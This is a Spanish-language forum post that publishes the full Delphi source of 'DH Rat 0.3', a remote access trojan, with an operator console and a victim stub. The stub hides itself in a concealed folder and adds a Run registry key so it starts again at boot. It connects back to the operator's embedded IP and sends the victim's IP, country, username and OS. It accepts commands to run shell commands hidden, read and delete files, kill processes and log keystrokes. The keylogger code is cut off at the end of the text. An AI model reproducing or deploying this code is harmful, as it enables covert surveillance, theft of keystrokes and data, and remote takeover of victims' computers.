[Delphi] DH Rat 0.3

Iniciado por BigBear, Diciembre 08, 2013, 11:31:01 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Un simple RAT que hice en Delphi con las siguientes opciones :

  • Abrir y cerrar lectora
  • Listar archivos en un directorio
  • Borrar archivos y directorios
  • Ver el contenido de un archivo
  • Hacer que el teclado escriba solo
  • Abre Word y para variar las cosas el teclado escribe solo
  • Mandar mensajes
  • Hacer que la computadora hable (en ingles)
  • Listar procesos
  • Matar un proceso
  • Ejecutar comandos y ver el resultado
  • Volver loco al mouse por un rato
  • Ocultar y mostrar el taskbar
  • Ocultar y mostrar los iconos del escritorio
  • Keylogger incluido

    Una imagen :



    Los codigos.

    El Administrador.

    Código: delphi

    // DH Rat 0.3
    // (C) Doddy Hackman 2013

    unit rat;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, sSkinManager, ComCtrls, sStatusBar, sPageControl, StdCtrls,
      sGroupBox, ShellApi, sListView, sMemo, sEdit, sButton, acPNG, ExtCtrls,
      sLabel, ScktComp, Menus, IdBaseComponent, IdComponent,
      IdTCPConnection, IdTCPClient, madRes, WinInet;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        sStatusBar1: TsStatusBar;
        sPageControl1: TsPageControl;
        sTabSheet1: TsTabSheet;
        sTabSheet2: TsTabSheet;
        sTabSheet3: TsTabSheet;
        sTabSheet4: TsTabSheet;
        sGroupBox1: TsGroupBox;
        sGroupBox2: TsGroupBox;
        sListView1: TsListView;
        sMemo1: TsMemo;
        sGroupBox3: TsGroupBox;
        sGroupBox4: TsGroupBox;
        sEdit1: TsEdit;
        sGroupBox5: TsGroupBox;
        sButton1: TsButton;
        sGroupBox6: TsGroupBox;
        Image1: TImage;
        sLabel1: TsLabel;
        ServerSocket1: TServerSocket;
        PopupMenu1: TPopupMenu;
        O1: TMenuItem;
        C1: TMenuItem;
        L1: TMenuItem;
        D1: TMenuItem;
        R1: TMenuItem;
        S1: TMenuItem;
        J1: TMenuItem;
        M1: TMenuItem;
        T1: TMenuItem;
        ifPoslistarprocesoscode0then1: TMenuItem;
        K1: TMenuItem;
        C2: TMenuItem;
        C3: TMenuItem;
        H1: TMenuItem;
        S2: TMenuItem;
        H2: TMenuItem;
        S3: TMenuItem;
        K2: TMenuItem;
        PopupMenu2: TPopupMenu;
        S4: TMenuItem;
        S5: TMenuItem;
        Image2: TImage;
        sGroupBox7: TsGroupBox;
        sGroupBox8: TsGroupBox;
        Image3: TImage;
        sButton2: TsButton;
        OpenDialog1: TOpenDialog;
        sEdit2: TsEdit;
        procedure ServerSocket1ClientRead(Sender: TObject;
          Socket: TCustomWinSocket);

        procedure O1Click(Sender: TObject);
        procedure C1Click(Sender: TObject);
        procedure ServerSocket1ClientConnect(Sender: TObject;
          Socket: TCustomWinSocket);
        procedure L1Click(Sender: TObject);
        procedure D1Click(Sender: TObject);
        procedure R1Click(Sender: TObject);
        procedure S1Click(Sender: TObject);
        procedure J1Click(Sender: TObject);
        procedure M1Click(Sender: TObject);
        procedure T1Click(Sender: TObject);
        procedure ifPoslistarprocesoscode0then1Click(Sender: TObject);
        procedure K1Click(Sender: TObject);
        procedure C2Click(Sender: TObject);
        procedure C3Click(Sender: TObject);
        procedure H1Click(Sender: TObject);
        procedure S2Click(Sender: TObject);
        procedure H2Click(Sender: TObject);
        procedure S3Click(Sender: TObject);
        procedure K2Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure S4Click(Sender: TObject);

        procedure S5Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure sEdit1DblClick(Sender: TObject);

        procedure sButton1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;
      argumento: string;

    implementation

    {$R *.dfm}
    // Functions

    function toma(const pagina: string): UTF8String;

    // Credits : Based on http://www.scalabium.com/faq/dct0080.htm
    // Thanks to www.scalabium.com

    var
      nave1: HINTERNET;
      nave2: HINTERNET;
      tou: DWORD;
      codez: UTF8String;
      codee: array [0 .. 1023] of byte;
      finalfinal: string;

    begin

      try

        begin

          finalfinal := '';
          Result := '';

          nave1 := InternetOpen(
            'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12'
              , INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

          nave2 := InternetOpenUrl(nave1, PChar(pagina), nil, 0,
            INTERNET_FLAG_RELOAD, 0);

          repeat

          begin
            InternetReadFile(nave2, @codee, SizeOf(codee), tou);
            SetString(codez, PAnsiChar(@codee[0]), tou);
            finalfinal := finalfinal + codez;
          end;

          until tou = 0;

          InternetCloseHandle(nave2);
          InternetCloseHandle(nave1);

          Result := finalfinal;
        end;

      except
        //
      end;

    end;

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      AssignFile(ar, filename);
      FileMode := fmOpenWrite;

      if FileExists(filename) then
        Append(ar)
      else
        Rewrite(ar);

      Write(ar, texto);
      CloseFile(ar);

    end;

    //

    procedure TForm1.FormCreate(Sender: TObject);
    begin

      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'matrix';
      sSkinManager1.Active := True;

      try
        begin

          sListView1.Items.Clear;

          ServerSocket1.Port := 6664;
          ServerSocket1.Open;

          sStatusBar1.Panels[0].text := '[+] Online';
          Form1.sStatusBar1.Update;

        end;
      except
        sStatusBar1.Panels[0].text := '[-] Error';
        Form1.sStatusBar1.Update;
      end;
    end;

    procedure TForm1.C1Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText('![closecd]');
    end;

    procedure TForm1.C2Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Command', 'net user');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![ejecutar] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.C3Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Number', '123');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![crazymouse] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.D1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'File', 'C:/XAMPP/test.txt');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![borraresto] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.H1Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![ocultartaskbar]');
    end;

    procedure TForm1.H2Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![ocultariconos]');
    end;

    procedure TForm1.ifPoslistarprocesoscode0then1Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![listarprocesos]');
    end;

    procedure TForm1.J1Click(Sender: TObject);
    begin

      argumento := InputBox('DH Rat', 'Keys', 'No tengas miedo');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![escribirword] [argumento]' + argumento + '[argumento]');

    end;

    procedure TForm1.K1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'PID', '');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![matarproceso] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.K2Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![keyloggerlogs]');
    end;

    procedure TForm1.L1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Directory', 'C:/XAMPP');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![listardirectorio] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.M1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Text', 'No tengas miedo');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![mensaje] [argumento]' + argumento + '[argumento]');

    end;

    procedure TForm1.O1Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText('![opencd]');
    end;

    procedure TForm1.R1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Directory', 'C:/XAMPP');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![leerarchivo] [argumento]' + argumento + '[argumento]');

    end;

    procedure TForm1.S1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Keys', 'No tengas miedo');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![sendkeys] [argumento]' + argumento + '[argumento]');

    end;

    procedure TForm1.S2Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![volvertaskbar]');
    end;

    procedure TForm1.S3Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![volvericonos]');
    end;

    procedure TForm1.T1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Text', 'Mother Fucker');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![hablar] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.S4Click(Sender: TObject);
    begin

      try
        begin
          ServerSocket1.Port := 6664;
          ServerSocket1.Open;

          sListView1.Items.Clear;

          sStatusBar1.Panels[0].text := '[+] Online';
          Form1.sStatusBar1.Update;
        end;
      except

        sStatusBar1.Panels[0].text := '[-] Error';
        Form1.sStatusBar1.Update;
      end;

    end;

    procedure TForm1.S5Click(Sender: TObject);
    begin
      try
        begin

          sListView1.Items.Clear;
          ServerSocket1.Close;
          sStatusBar1.Panels[0].text := '[+] OffLine';
          Form1.sStatusBar1.Update;
        end;
      except
        sStatusBar1.Panels[0].text := '[-] Error';
        Form1.sStatusBar1.Update;
      end;
    end;

    procedure TForm1.sButton1Click(Sender: TObject);

    var
      linea: string;
      aca: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      marca_uno: string;
      lineafinal: string;
      stubgenerado: string;
      change: DWORD;
      valor: string;

    begin

      stubgenerado := 'server_ready.exe';
      lineafinal := '[ip]' + sEdit1.text + '[ip]';

      marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';

      aca := INVALID_HANDLE_VALUE;
      nose := 0;

      DeleteFile(stubgenerado);
      CopyFile(PChar(ExtractFilePath(Application.ExeName)
            + '/' + 'Data/stubnow.exe'), PChar(ExtractFilePath(Application.ExeName)
            + '/' + stubgenerado), True);

      linea := marca_uno;
      StrCopy(code, PChar(linea));
      aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
        OPEN_EXISTING, 0, 0);
      if (aca <> INVALID_HANDLE_VALUE) then
      begin
        SetFilePointer(aca, 0, nil, FILE_END);
        WriteFile(aca, code, 9999, nose, nil);
        CloseHandle(aca);
      end;

      //

      if not(sEdit2.text = '') then
      begin
        try
          begin

            valor := IntToStr(128);

            change := BeginUpdateResourceW
              (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                    + '/' + stubgenerado)), False);
            LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
              PWideChar(wideString(sEdit2.text)));
            EndUpdateResourceW(change, False);
            sStatusBar1.Panels[0].text := '[+] Done ';
            sStatusBar1.Update;
          end;
        except
          begin
            sStatusBar1.Panels[0].text := '[-] Error';
            sStatusBar1.Update;
          end;
        end;
      end
      else
      begin
        sStatusBar1.Panels[0].text := '[+] Done ';
        sStatusBar1.Update;
      end;

      //

    end;

    procedure TForm1.sButton2Click(Sender: TObject);
    begin

      OpenDialog1.InitialDir := GetCurrentDir;
      OpenDialog1.Filter := 'ICO|*.ico|';

      if OpenDialog1.Execute then
      begin
        Image3.Picture.LoadFromFile(OpenDialog1.filename);
        sEdit2.text := OpenDialog1.filename;
      end;

    end;

    procedure TForm1.sEdit1DblClick(Sender: TObject);
    var
      code, ip: string;
    begin

      code := toma('http://whatismyipaddress.com/');

      ip := regex(code, 'alt="Click for more about ', '"></a>');

      sEdit1.text := ip;

    end;

    procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    begin

      with sListView1.Items.Add do
      begin
        Caption := Socket.RemoteHost;
        SubItems.Add('?');
        SubItems.Add('?');
        SubItems.Add('?');
        SubItems.Add('?');

      end;

    end;

    procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    var
      code: string;
      host: string;
      ip: string;
      pais: string;
      username: string;
      os: string;

    begin

      code := Socket.ReceiveText;

      if (Pos('[datos_nuevos][ip]', code) > 0) then
      begin

        ip := regex(code, '[ip]', '[ip]');
        pais := regex(code, '[pais]', '[pais]');
        username := regex(code, '[username]', '[username]');
        os := regex(code, '[os]', '[os]');

        sListView1.Items[sListView1.Items.Count - 1].SubItems[0] := ip;
        sListView1.Items[sListView1.Items.Count - 1].SubItems[1] := pais;
        sListView1.Items[sListView1.Items.Count - 1].SubItems[2] := username;
        sListView1.Items[sListView1.Items.Count - 1].SubItems[3] := os;

        sMemo1.Lines.Add('[+] Update Target : OK');

      end

      else if (Pos('![keyloggerlogs]', code) > 0) then
      begin
        if (FileExists('logs_keylogger.html')) then
        begin
          DeleteFile('logs_keylogger.html');
        end;

        savefile('logs_keylogger.html', code);

        sMemo1.Lines.Add('[+] Keylogger : OK');

        ShellExecute(0, nil, PChar(ExtractFilePath(Application.ExeName)
              + 'logs_keylogger.html'), nil, nil, SW_SHOWNORMAL);
      end
      else
      begin
        sMemo1.Lines.Add(code);
      end;

    end;

    end.

    // The End ?


    El stub.

    Código: delphi

    // DH Rat 0.3
    // (C) Doddy Hackman 2013

    // Stub

    unit stub;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, MMSystem, ComObj, ShellApi, tlhelp32, IdBaseComponent,
      IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdIPMCastBase,
      IdIPMCastServer, ScktComp, sButton, ExtCtrls;

    type
      TForm1 = class(TForm)
        IdHTTP1: TIdHTTP;
        ClientSocket1: TClientSocket;
        Timer1: TTimer;
        Timer2: TTimer;
        function datanow(): string;
        procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
        procedure sButton1Click(Sender: TObject);
        procedure ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket);
        procedure FormCreate(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
        procedure Timer2Timer(Sender: TObject);

      private
        Nombre2: string;
        { Private declarations }

      public
        { Public declarations }

      end;

    var
      Form1: TForm1;
      acatoy: string;

    implementation

    {$R *.dfm}
    {$POINTERMATH ON}
    // Functions

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      try

        begin
          AssignFile(ar, filename);
          FileMode := fmOpenWrite;

          if FileExists(filename) then
            Append(ar)
          else
            Rewrite(ar);

          Write(ar, texto);
          CloseFile(ar);
        end;
      except
        //
      end;

    end;

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function listardirectorio(dir: string): string;
    var

      busqueda: TSearchRec;
      code: string;

    begin

      code := '';

      FindFirst(dir + '\*.*', faAnyFile + faDirectory + faReadOnly, busqueda);

      code := code + '[+] : ' + busqueda.Name + sLineBreak;

      while FindNext(busqueda) = 0 do
      begin
        code := code + '[+] : ' + busqueda.Name + sLineBreak;
      end;

      Result := code;
      FindClose(busqueda);

    end;

    function borraresto(archivo: string): string;
    var
      code: string;
    begin

      code := '';

      if DirectoryExists(archivo) then
      begin
        if (RemoveDir(archivo)) then
        begin
          code := '[+] Directory removed';
        end
        else
        begin
          code := '[+] Error';
        end;
      end;
      if FileExists(archivo) then
      begin
        if (DeleteFile(archivo)) then
        begin
          code := '[+] File removed';
        end
        else
        begin
          code := '[+] Error';
        end;
      end;

      Result := code;

    end;

    function LeerArchivo(const archivo: TFileName): String;
    var
      lista: TStringList;
    begin

      if (FileExists(archivo)) then
      begin

        lista := TStringList.Create;
        lista.Loadfromfile(archivo);
        Result := lista.text;
        lista.Free;

      end;

    end;

    function lectora(opcion: string): string;
    var
      code: string;
    begin

      code := '';

      if (opcion = 'open') then
      begin
        mciSendString('Set cdaudio door open wait', nil, 0, 0);
        code := '[+] Open CD : OK';
      end
      else
      begin
        mciSendString('Set cdaudio door closed wait', nil, 0, 0);
        code := '[+] Close CD : OK';
      end;

      Result := code;

    end;

    function cambiar_barra(opcion: string): string;
    var
      code: string;
    begin
      code := '';

      if (opcion = 'hide') then
      begin
        ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE);
        code := '[+] Hidden Taskbar : OK';
      end
      else
      begin
        ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_SHOWNA);
        code := '[+] Show Taskbar : OK';
      end;

      Result := code;

    end;

    function cambiar_iconos(opcion: string): string;
    var
      code: string;
      acatoy: THandle;
    begin
      code := '';
      acatoy := FindWindow('ProgMan', nil);
      acatoy := GetWindow(acatoy, GW_CHILD);
      if (opcion = 'hide') then
      begin
        ShowWindow(acatoy, SW_HIDE);
        code := '[+] Hidden Icons : OK';
      end
      else
      begin
        ShowWindow(acatoy, SW_SHOW);
        code := '[+] Show Icons : OK';
      end;
      Result := code;
    end;

    function mensaje(texto: string): string;
    var
      code: string;
    begin
      code := '';
      ShowMessage(texto);
      code := '[+] Message Sent';
      Result := code;
    end;

    function hablar(text: string): string;
    var
      Voice: Variant;
      code: string;
    begin
      code := '';
      Voice := CreateOLEObject('SAPI.SpVoice');
      Voice.speak(text);
      code := '[+] Voice Speak : OK';
      Result := code;
    end;

    function SendKeys(texto: string): string;
    // Thanks to Remy Lebeau for the help
    var
      eventos: PInput;
      controlb, controla: integer;
      code: string;
    begin

      code := '';
      code := '[+] SendKeys : OK';

      GetMem(eventos, SizeOf(TInput) * (Length(texto) * 2));

      controla := 0;

      for controlb := 1 to Length(texto) do
      begin

        eventos[controla].Itype := INPUT_KEYBOARD;
        eventos[controla].ki.wVk := 0;
        eventos[controla].ki.wScan := ord(texto[controlb]);
        eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE;
        eventos[controla].ki.time := 0;
        eventos[controla].ki.dwExtraInfo := 0;

        Inc(controla);

        eventos[controla].Itype := INPUT_KEYBOARD;
        eventos[controla].ki.wVk := 0;
        eventos[controla].ki.wScan := ord(texto[controlb]);
        eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE or KEYEVENTF_KEYUP;
        eventos[controla].ki.time := 0;
        eventos[controla].ki.dwExtraInfo := 0;

        Inc(controla);

      end;

      SendInput(controla, eventos[0], SizeOf(TInput));

      Result := code;

    end;

    function escribir_word(texto: string): string;
    var
      code: string;
    begin
      code := '';
      code := '[+] Word Joke : OK';
      ShellExecute(0, nil, PChar('winword.exe'), nil, nil, SW_SHOWNORMAL);
      Sleep(5000);
      SendKeys(texto);
      Result := code;

    end;

    function listarprocesos(): string;
    var
      conector: THandle;
      timbre: LongBool;
      indicio: TProcessEntry32;
      code: string;

    begin

      code := '';

      conector := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      indicio.dwSize := SizeOf(indicio);

      timbre := Process32First(conector, indicio);

      while timbre do

      begin

        code := code + '[+] Name : ' + indicio.szExeFile + ' [+] PID : ' + IntToStr
          (indicio.th32ProcessID) + sLineBreak;

        timbre := Process32Next(conector, indicio);

      end;

      Result := code;

    end;

    function matarproceso(pid: string): string;
    var
      vano: THandle;
      code: string;

    begin

      code := '';
      vano := OpenProcess(PROCESS_TERMINATE, FALSE, StrToInt(pid));

      if TerminateProcess(vano, 0) then
      begin
        code := '[+] Kill Process : OK';
      end
      else
      begin
        code := '[+] Kill Process : ERROR';
      end;

      Result := code;

    end;

    function ejecutar(cmd: string): string;
    // Credits : Function ejecutar() based in : http://www.delphidabbler.com/tips/61
    // Thanks to www.delphidabbler.com

    var
      parte1: TSecurityAttributes;
      parte2: TStartupInfo;
      parte3: TProcessInformation;
      parte4: THandle;
      parte5: THandle;
      control2: Boolean;
      contez: array [0 .. 255] of AnsiChar;
      notengoidea: Cardinal;
      fix: Boolean;
      code: string;

    begin

      code := '';

      with parte1 do
      begin
        nLength := SizeOf(parte1);
        bInheritHandle := True;
        lpSecurityDescriptor := nil;
      end;

      CreatePipe(parte4, parte5, @parte1, 0);

      with parte2 do
      begin
        FillChar(parte2, SizeOf(parte2), 0);
        cb := SizeOf(parte2);
        dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
        wShowWindow := SW_HIDE;
        hStdInput := GetStdHandle(STD_INPUT_HANDLE);
        hStdOutput := parte5;
        hStdError := parte5;
      end;

      fix := CreateProcess(nil, PChar('cmd.exe /C ' + cmd), nil, nil, True, 0, nil,
        PChar('c:/'), parte2, parte3);

      CloseHandle(parte5);

      if fix then

        repeat

        begin
          control2 := ReadFile(parte4, contez, 255, notengoidea, nil);
        end;

        if notengoidea > 0 then
        begin
          contez[notengoidea] := #0;
          code := code + contez;
        end;

        until not(control2) or (notengoidea = 0);

        Result := code;

    end;

    function crazy_mouse(number: string): string;
    var
      i: integer;
      code: string;
    begin
      code := '';
      For i := 1 to StrToInt(number) do
      begin
        Sleep(1000);
        SetCursorPos(i, i);
      end;
      code := '[+] Crazy Mouse : OK';
      Result := code;
    end;

    function TForm1.datanow(): string;
    var
      code: string;
      ip: string;
      pais: string;
      re: string;
      username: string;
      os: string;

    begin

      try
        begin
          code := IdHTTP1.Get('http://whatismyipaddress.com/');

          ip := regex(code, 'alt="Click for more about ', '"></a>');
          pais := regex(code, '<tr><th>Country:</th><td>', '</td></tr>');

          if (ip = '') then
          begin
            ip := '?';
          end;

          if (pais = '') then
          begin
            pais := '?';
          end;

          username := GetEnvironmentVariable('username');
          os := GetEnvironmentVariable('os');

          re := '[datos_nuevos][ip]' + ip + '[ip]' + '[pais]' + pais + '[pais]' +
            '[username]' + username + '[username]' + '[os]' + os + '[os]';
        end;
      except
        //
      end;

      Result := re;

    end;

    //

    procedure TForm1.ClientSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    begin
      ClientSocket1.Socket.SendText(datanow());
    end;

    procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
    var
      code: string;
      argumento: string;
    begin
      code := Socket.ReceiveText;

      argumento := regex(code, '[argumento]', '[argumento]');

      if (Pos('![opencd]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(lectora('open'));
      end;

      if (Pos('![closecd]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(lectora('close'));
      end;

      if (Pos('![listardirectorio]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(listardirectorio(argumento));
      end;

      if (Pos('![borraresto]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(borraresto(argumento));
      end;

      if (Pos('![leerarchivo]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(LeerArchivo(argumento));
      end;

      if (Pos('![keyloggerlogs]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText('![keyloggerlogs]<br>' + LeerArchivo(acatoy));
      end;

      if (Pos('![sendkeys]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(SendKeys(argumento));
      end;

      if (Pos('![escribirword]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(escribir_word(argumento));
      end;

      if (Pos('![mensaje]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(mensaje(argumento));
      end;

      if (Pos('![hablar]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(hablar(argumento));
      end;

      if (Pos('![matarproceso]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(matarproceso(argumento));
      end;

      if (Pos('![ejecutar]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(ejecutar(argumento));
      end;

      if (Pos('![crazymouse]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(crazy_mouse(argumento));
      end;

      if (Pos('![ocultartaskbar]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(cambiar_barra('hide'));
      end;

      if (Pos('![volvertaskbar]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(cambiar_barra('na'));
      end;

      if (Pos('![ocultariconos]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(cambiar_iconos('hide'));
      end;

      if (Pos('![volvericonos]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(cambiar_iconos('na'));
      end;

      if (Pos('![listarprocesos]', code) > 0) then
      begin
        ClientSocket1.Socket.SendText(listarprocesos());
      end;

    end;

    procedure TForm1.FormCreate(Sender: TObject);
    var
      dir_hide, dir, carpeta, nombrereal, directorio, rutareal, yalisto: string;
      registro: HKEY;
      ip: string;

      ob: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      todo: string;

    begin

      Application.ShowMainForm := FALSE;

      ob := INVALID_HANDLE_VALUE;
      code := '';

      ob := CreateFile(PChar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
        OPEN_EXISTING, 0, 0);
      if (ob <> INVALID_HANDLE_VALUE) then
      begin
        SetFilePointer(ob, -9999, nil, FILE_END);
        ReadFile(ob, code, 9999, nose, nil);
        CloseHandle(ob);
      end;

      todo := regex(code, '[63686175]', '[63686175]');
      todo := dhencode(todo, 'decode');

      ip := regex(todo, '[ip]', '[ip]');

      try
        begin
          dir_hide := GetEnvironmentVariable('USERPROFILE') + '/';
          carpeta := 'ratata';

          dir := dir_hide + carpeta + '/';

          if not(DirectoryExists(dir)) then
          begin
            CreateDir(dir);
          end;

          ChDir(dir);

          nombrereal := ExtractFileName(paramstr(0));
          rutareal := dir;
          yalisto := dir + nombrereal;

          acatoy := dir + 'logs.html';

          MoveFile(PChar(paramstr(0)), PChar(yalisto));

          SetFileAttributes(PChar(dir), FILE_ATTRIBUTE_HIDDEN);

          SetFileAttributes(PChar(yalisto), FILE_ATTRIBUTE_HIDDEN);

          RegCreateKeyEx(HKEY_LOCAL_MACHINE,
            'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
            REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
          RegSetValueEx(registro, 'uberk', 0, REG_SZ, PChar(yalisto), 666);
          RegCloseKey(registro);

          savefile('logs.html',
            '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');

          ClientSocket1.Address := ip;
          ClientSocket1.Port := 6664;
          ClientSocket1.Open;

        end;
      except
        //
      end;

    end;

    procedure TForm1.sButton1Click(Sender: TObject);
    begin
      ClientSocket1.Socket.SendText(datanow());
    end;

    procedure TForm1.Timer1Timer(Sender: TObject);
    var
      i: integer;
      Result: Longint;
      mayus: integer;
      shift: integer;

    const

      n_numeros_izquierda: array [1 .. 10] of string =
        ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');

    const
      t_numeros_izquierda: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_numeros_derecha: array [1 .. 10] of string =
        ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');

    const
      t_numeros_derecha: array [1 .. 10] of string =
        ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');

    const
      n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
        '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
        '291', '220', '221', '222', '226');

    const
      t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
        '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
        '|');

    const
      n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
        '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
        '226');

    const
      t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
        '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
